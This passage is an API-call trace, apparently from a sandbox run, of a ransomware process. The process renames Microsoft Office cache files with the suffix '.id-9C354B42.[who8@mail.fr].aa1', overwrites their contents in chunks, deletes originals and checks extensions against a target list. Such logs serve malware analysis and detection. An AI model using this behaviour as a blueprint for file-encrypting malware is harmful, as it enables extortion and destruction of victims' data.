users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.116] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.116] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0221.116] GetLastError () returned 0x0 [0221.116] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0221.183] WriteFile (in: hFile=0x170, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0221.393] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x65520, lpOverlapped=0x0) returned 1 [0221.407] WriteFile (in: hFile=0x170, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0221.417] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.417] WriteFile (in: hFile=0x170, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.418] SetEndOfFile (hFile=0x170) returned 1 [0221.567] CloseHandle (hObject=0x170) returned 1 [0221.567] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.567] SetEndOfFile (hFile=0x1f4) returned 1 [0221.635] CloseHandle (hObject=0x1f4) returned 1 [0221.635] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.635] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0221.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.635] lstrlenW (lpString=".doc") returned 4 [0221.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.635] lstrlenW (lpString=".docx") returned 5 [0221.635] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0221.635] lstrlenW (lpString=".pdf") returned 4 [0221.636] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString=".xls") returned 4 [0221.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString=".xlsx") returned 5 [0221.636] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0221.636] lstrlenW (lpString=".ppt") returned 4 [0221.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString=".zip") returned 4 [0221.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString=".rar") returned 4 [0221.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString=".bz2") returned 4 [0221.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.636] lstrlenW (lpString=".7z") returned 3 [0221.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString=".dbf") returned 4 [0221.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString=".1cd") returned 4 [0221.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString=".jpg") returned 4 [0221.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.636] lstrlenW (lpString=".doc") returned 4 [0221.636] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.636] lstrlenW (lpString=".docx") returned 5 [0221.636] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0221.636] lstrlenW (lpString=".pdf") returned 4 [0221.637] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.637] lstrlenW (lpString=".xls") returned 4 [0221.637] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.637] lstrlenW (lpString=".xlsx") returned 5 [0221.637] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0221.637] lstrlenW (lpString=".ppt") returned 4 [0221.637] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.637] lstrlenW (lpString=".zip") returned 4 [0221.637] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.637] lstrlenW (lpString=".rar") returned 4 [0221.637] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.637] lstrlenW (lpString=".bz2") returned 4 [0221.637] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.637] lstrlenW (lpString=".7z") returned 3 [0221.637] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.637] lstrlenW (lpString=".dbf") returned 4 [0221.637] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.637] lstrlenW (lpString=".1cd") returned 4 [0221.637] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0221.637] lstrlenW (lpString=".jpg") returned 4 [0221.637] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.637] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0221.637] lstrlenW (lpString="Office32WW.msi") returned 14 [0221.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.743] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1992192) returned 1 [0221.743] CloseHandle (hObject=0x220) returned 1 [0221.743] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0221.743] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.743] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0221.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.743] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.743] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.744] ReadFile (in: hFile=0x220, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.368] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.368] ReadFile (in: hFile=0x220, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.426] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.426] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.426] ReadFile (in: hFile=0x220, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.527] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.527] WriteFile (in: hFile=0x220, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0222.549] SetEndOfFile (hFile=0x220) returned 1 [0222.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f32900 [0222.550] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.550] WriteFile (in: hFile=0x220, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.551] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.551] WriteFile (in: hFile=0x220, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.553] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.553] WriteFile (in: hFile=0x220, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f32900 | out: hHeap=0x4f0000) returned 1 [0222.667] CloseHandle (hObject=0x220) returned 1 [0222.667] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.668] lstrlenW (lpString=".doc") returned 4 [0222.668] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0222.668] lstrlenW (lpString=".docx") returned 5 [0222.668] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0222.668] lstrlenW (lpString=".pdf") returned 4 [0222.668] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0222.668] lstrlenW (lpString=".xls") returned 4 [0222.668] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0222.668] lstrlenW (lpString=".xlsx") returned 5 [0222.668] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0222.668] lstrlenW (lpString=".ppt") returned 4 [0222.668] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.668] lstrlenW (lpString=".zip") returned 4 [0222.668] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0222.668] lstrlenW (lpString=".rar") returned 4 [0222.668] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0222.668] lstrlenW (lpString=".bz2") returned 4 [0222.668] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0222.668] lstrlenW (lpString=".7z") returned 3 [0222.668] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.668] lstrlenW (lpString=".dbf") returned 4 [0222.668] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.668] lstrlenW (lpString=".1cd") returned 4 [0222.668] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0222.668] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".jpg") returned 4 [0222.669] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".doc") returned 4 [0222.669] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0222.669] lstrlenW (lpString=".docx") returned 5 [0222.669] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0222.669] lstrlenW (lpString=".pdf") returned 4 [0222.669] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0222.669] lstrlenW (lpString=".xls") returned 4 [0222.669] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0222.669] lstrlenW (lpString=".xlsx") returned 5 [0222.669] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0222.669] lstrlenW (lpString=".ppt") returned 4 [0222.669] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".zip") returned 4 [0222.669] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0222.669] lstrlenW (lpString=".rar") returned 4 [0222.669] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0222.669] lstrlenW (lpString=".bz2") returned 4 [0222.669] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0222.669] lstrlenW (lpString=".7z") returned 3 [0222.669] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".dbf") returned 4 [0222.669] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".1cd") returned 4 [0222.669] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0222.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0222.669] lstrlenW (lpString=".jpg") returned 4 [0222.669] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0222.670] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0222.670] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0222.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.670] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=162970271) returned 1 [0222.670] CloseHandle (hObject=0x220) returned 1 [0222.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0222.670] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.670] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0222.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0222.671] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0222.671] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.671] ReadFile (in: hFile=0x220, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.724] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.724] ReadFile (in: hFile=0x220, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.914] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.914] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.914] ReadFile (in: hFile=0x220, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.469] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.469] WriteFile (in: hFile=0x220, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0223.500] SetEndOfFile (hFile=0x220) returned 1 [0223.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x4270048 [0223.820] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.820] WriteFile (in: hFile=0x220, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.821] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.821] WriteFile (in: hFile=0x220, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.825] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.825] WriteFile (in: hFile=0x220, lpBuffer=0x4270048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4270048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x4f0000) returned 1 [0223.831] CloseHandle (hObject=0x220) returned 1 [0223.831] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0223.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.831] lstrlenW (lpString=".doc") returned 4 [0223.831] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0223.831] lstrlenW (lpString=".docx") returned 5 [0223.831] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0223.832] lstrlenW (lpString=".pdf") returned 4 [0223.832] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString=".xls") returned 4 [0223.832] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString=".xlsx") returned 5 [0223.832] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0223.832] lstrlenW (lpString=".ppt") returned 4 [0223.832] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.832] lstrlenW (lpString=".zip") returned 4 [0223.832] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString=".rar") returned 4 [0223.832] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString=".bz2") returned 4 [0223.832] 